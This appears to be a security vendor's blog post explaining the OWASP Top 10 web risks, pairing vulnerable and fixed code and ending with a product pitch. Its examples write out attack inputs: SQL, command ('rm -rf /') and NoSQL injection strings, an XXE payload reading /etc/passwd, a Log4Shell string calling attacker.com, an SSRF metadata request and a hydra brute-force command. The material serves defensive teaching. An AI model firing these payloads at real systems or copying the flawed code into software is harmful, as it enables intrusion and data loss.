OWASP Top 10 (2024): Every Vulnerability Explained with Real-World Examples
The OWASP Top 10 represents the most critical security risks to web applications. Updated regularly by the Open Web Application Security Project, it's the definitive guide for developers and security professionals. Let's explore each vulnerability in depth.
A01:2021 - Broken Access Control
Severity: Critical | Prevalence: 94% of applications tested
Access control enforces that users cannot act outside their intended permissions. When broken, attackers can access unauthorized functionality or data.
Real-World Example: IDOR (Insecure Direct Object Reference)
# Legitimate request
GET /api/users/1001/profile HTTP/1.1
Authorization: Bearer eyJ...user1001token...
# Attacker changes ID to access another user's data
GET /api/users/1002/profile HTTP/1.1
Authorization: Bearer eyJ...user1001token...
Vulnerable Code:
// BAD: No authorization check
app.get('/api/users/:id/profile', (req, res) => {
const profile = db.getUserProfile(req.params.id);
res.json(profile);
});
Secure Code:
// GOOD: Verify user owns the resource
app.get('/api/users/:id/profile', authenticate, (req, res) => {
if (req.user.id !== parseInt(req.params.id) && !req.user.isAdmin) {
return res.status(403).json({ error: 'Access denied' });
}
const profile = db.getUserProfile(req.params.id);
res.json(profile);
});
Prevention:
- Implement role-based access control (RBAC)
- Deny by default, explicitly grant permissions
- Log access control failures and alert on anomalies
- Disable directory listing on web servers
A02:2021 - Cryptographic Failures
Severity: Critical | Previously: Sensitive Data Exposure
Failures related to cryptography that lead to exposure of sensitive data.
Common Mistakes:
Using Weak Algorithms:
# BAD: MD5 for password hashing
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()
# GOOD: Use bcrypt with proper cost factor
import bcrypt
password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
Hardcoded Secrets:
// BAD: Secret in source code
const JWT_SECRET = "super_secret_key_123";
// GOOD: Environment variable
const JWT_SECRET = process.env.JWT_SECRET;
Missing Encryption in Transit:
# GOOD: Force HTTPS
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl http2;
ssl_certificate /etc/ssl/certs/example.com.crt;
ssl_certificate_key /etc/ssl/private/example.com.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
}
Prevention:
- Use TLS 1.2+ for all data in transit
- Encrypt sensitive data at rest with AES-256
- Use strong key derivation functions (Argon2, bcrypt, PBKDF2)
- Rotate encryption keys regularly
A03:2021 - Injection
Severity: Critical | Most Famous: SQL Injection
Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query.
SQL Injection Example:
# BAD: String concatenation
username = request.form['username']
query = f"SELECT * FROM users WHERE username = '{username}'"
# Attacker input: ' OR '1'='1' --
# Results in: SELECT * FROM users WHERE username = '' OR '1'='1' --'
# GOOD: Parameterized queries
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
Command Injection:
# BAD: Direct shell execution
import os
filename = request.args.get('file')
os.system(f"cat {filename}")
# Attacker input: file.txt; rm -rf /
# GOOD: Use safe APIs
import subprocess
subprocess.run(['cat', filename], shell=False, check=True)
NoSQL Injection:
// BAD: Direct object from user input
db.users.find({
username: req.body.username,
password: req.body.password
});
// Attacker sends: {"password": {"$ne": null}}
// GOOD: Validate and sanitize input
const username = String(req.body.username);
const password = String(req.body.password);
db.users.find({ username, password });
Prevention:
- Use parameterized queries / prepared statements
- Validate and sanitize all input
- Use ORMs with proper escaping
- Apply least privilege to database accounts
A04:2021 - Insecure Design
Severity: High | New in 2021
Focuses on risks related to design and architectural flaws. No amount of implementation fixes can correct insecure design.
Example: Missing Rate Limiting
// BAD: No protection against brute force
app.post('/login', (req, res) => {
const { username, password } = req.body;
if (authenticate(username, password)) {
res.json({ token: generateToken(username) });
} else {
res.status(401).json({ error: 'Invalid credentials' });
}
});
// GOOD: Rate limiting and account lockout
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 attempts per window
message: 'Too many login attempts, try again later'
});
app.post('/login', loginLimiter, async (req, res) => {
const { username, password } = req.body;
const user = await User.findOne({ username });
if (user.loginAttempts >= 5) {
return res.status(423).json({ error: 'Account locked' });
}
if (await authenticate(username, password)) {
await user.resetLoginAttempts();
res.json({ token: generateToken(username) });
} else {
await user.incrementLoginAttempts();
res.status(401).json({ error: 'Invalid credentials' });
}
});
Prevention:
- Threat modeling during design phase
- Establish secure development lifecycle (SDL)
- Use secure design patterns and reference architectures
- Implement defense in depth
A05:2021 - Security Misconfiguration
Severity: High | Prevalence: 90% of applications
Improper configuration of security settings at any level of the application stack.
Common Misconfigurations:
Exposing Stack Traces:
// BAD: Detailed errors in production
app.use((err, req, res, next) => {
res.status(500).json({
error: err.message,
stack: err.stack,
query: req.query
});
});
// GOOD: Generic errors in production
app.use((err, req, res, next) => {
console.error(err); // Log internally
res.status(500).json({
error: process.env.NODE_ENV === 'production'
? 'Internal server error'
: err.message
});
});
Default Credentials:
# Check for default creds
hydra -l admin -P /usr/share/wordlists/default-passwords.txt target.com http-post-form
Unnecessary Features Enabled:
<!-- BAD: XML External Entities enabled -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>&xxe;</user>
Prevention:
- Automated hardening and configuration management
- Remove unused features and frameworks
- Review cloud storage permissions (S3, Azure Blob)
- Regular security configuration audits
A06:2021 - Vulnerable and Outdated Components
Severity: High | Supply Chain Risk
Using components with known vulnerabilities.
Detection:
# NPM audit
npm audit
npm audit fix
# Python safety check
pip install safety
safety check
# Dependency scanning with Snyk
snyk test
Log4Shell Example (CVE-2021-44228):
// Vulnerable Log4j usage
logger.info("User agent: " + userAgent);
// Attacker sends: ${jndi:ldap://attacker.com/exploit}
Prevention:
- Maintain software bill of materials (SBOM)
- Monitor CVE databases continuously
- Use automated dependency scanning in CI/CD
- Remove unused dependencies
A07:2021 - Identification and Authentication Failures
Severity: High | Previously: Broken Authentication
Weaknesses in authentication mechanisms.
Weak Password Requirements:
// BAD: Weak validation
if (password.length >= 6) { /* accept */ }
// GOOD: Strong password policy
const passwordSchema = new PasswordValidator();
passwordSchema
.is().min(12)
.has().uppercase()
.has().lowercase()
.has().digits()
.has().symbols()
.is().not().oneOf(['Password123!', 'Admin123!']);
Session Management:
// GOOD: Secure session configuration
app.use(session({
secret: process.env.SESSION_SECRET,
name: '__Host-sessionId', // Cookie prefix for security
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000 // 1 hour
},
resave: false,
saveUninitialized: false
}));
Prevention:
- Implement multi-factor authentication
- Use secure session management
- Enforce strong password policies
- Implement account lockout mechanisms
A08:2021 - Software and Data Integrity Failures
Severity: High | New in 2021
Failures to protect code and infrastructure from integrity violations.
CI/CD Pipeline Attacks:
# GOOD: Signed commits and verified images
jobs:
build:
steps:
- name: Verify commit signature
run: git verify-commit HEAD
- name: Build with verified base image
run: |
docker pull myregistry.com/base:latest@sha256:abc123...
docker build --no-cache -t myapp .
- name: Sign container image
run: cosign sign myregistry.com/myapp:${{ github.sha }}
Subresource Integrity:
<!-- GOOD: SRI for external scripts -->
<script
src="https://cdn.example.com/library.js"
integrity="sha384-abc123..."
crossorigin="anonymous">
</script>
Prevention:
- Use digital signatures for code and artifacts
- Implement SRI for external resources
- Secure CI/CD pipelines
- Verify software updates and patches
A09:2021 - Security Logging and Monitoring Failures
Severity: Medium | Detection Gap
Insufficient logging and monitoring allows attacks to go undetected.
What to Log:
const winston = require('winston');
const securityLogger = winston.createLogger({
level: 'info',
format: winston.format.json(),
transports: [
new winston.transports.File({ filename: 'security.log' })
]
});
// Log security-relevant events
function logSecurityEvent(event) {
securityLogger.info({
timestamp: new Date().toISOString(),
event_type: event.type,
user_id: event.userId,
ip_address: event.ip,
user_agent: event.userAgent,
resource: event.resource,
action: event.action,
outcome: event.outcome,
details: event.details
});
}
// Usage
logSecurityEvent({
type: 'authentication',
userId: user.id,
ip: req.ip,
userAgent: req.headers['user-agent'],
action: 'login',
outcome: 'failure',
details: 'Invalid password'
});
Prevention:
- Log all authentication events
- Ensure logs are tamper-evident
- Implement real-time alerting
- Conduct regular log reviews
A10:2021 - Server-Side Request Forgery (SSRF)
Severity: High | New in Top 10
SSRF allows attackers to make requests from the server to unintended locations.
Vulnerable Code:
# BAD: User controls the URL
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url)
return response.content
# Attacker request: /fetch?url=http://169.254.169.254/latest/meta-data/
# Accesses AWS metadata service!
Secure Code:
from urllib.parse import urlparse
import ipaddress
ALLOWED_HOSTS = ['api.trusted.com', 'cdn.trusted.com']
def is_safe_url(url):
parsed = urlparse(url)
# Check allowed hosts
if parsed.hostname not in ALLOWED_HOSTS:
return False
# Block internal IPs
try:
ip = ipaddress.ip_address(parsed.hostname)
if ip.is_private or ip.is_loopback:
return False
except ValueError:
pass # Not an IP address
# Require HTTPS
if parsed.scheme != 'https':
return False
return True
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
if not is_safe_url(url):
return 'Invalid URL', 400
response = requests.get(url, timeout=5)
return response.content
Prevention:
- Validate and sanitize all user-supplied URLs
- Use allowlists for permitted domains
- Block requests to internal/private IP ranges
- Disable unnecessary URL schemes (file://, gopher://)
Testing for OWASP Top 10
Automated Scanning:
# OWASP ZAP automated scan
zap-cli quick-scan --self-contained https://target.com
# Nuclei with OWASP templates
nuclei -u https://target.com -t nuclei-templates/vulnerabilities/
Manual Testing Checklist:
| Vulnerability | Test Method |
|---|---|
| Broken Access Control | Horizontal/vertical privilege escalation |
| Cryptographic Failures | SSL Labs scan, credential storage review |
| Injection | SQLMap, manual payload testing |
| Insecure Design | Threat modeling, business logic review |
| Security Misconfiguration | Nikto, configuration audit |
| Vulnerable Components | Dependency scanning |
| Auth Failures | Brute force, session testing |
| Integrity Failures | Supply chain review |
| Logging Failures | Log coverage analysis |
| SSRF | Internal endpoint probing |
How AIPTx Helps
AIPTx automatically tests for all OWASP Top 10 vulnerabilities:
- Comprehensive Scanning: Multiple scanner integration
- AI-Powered Analysis: Intelligent false positive reduction
- Proof-of-Concept: Validated exploitation evidence
- Remediation Guidance: Developer-friendly fix recommendations
Secure your applications against OWASP Top 10 - Start Assessment

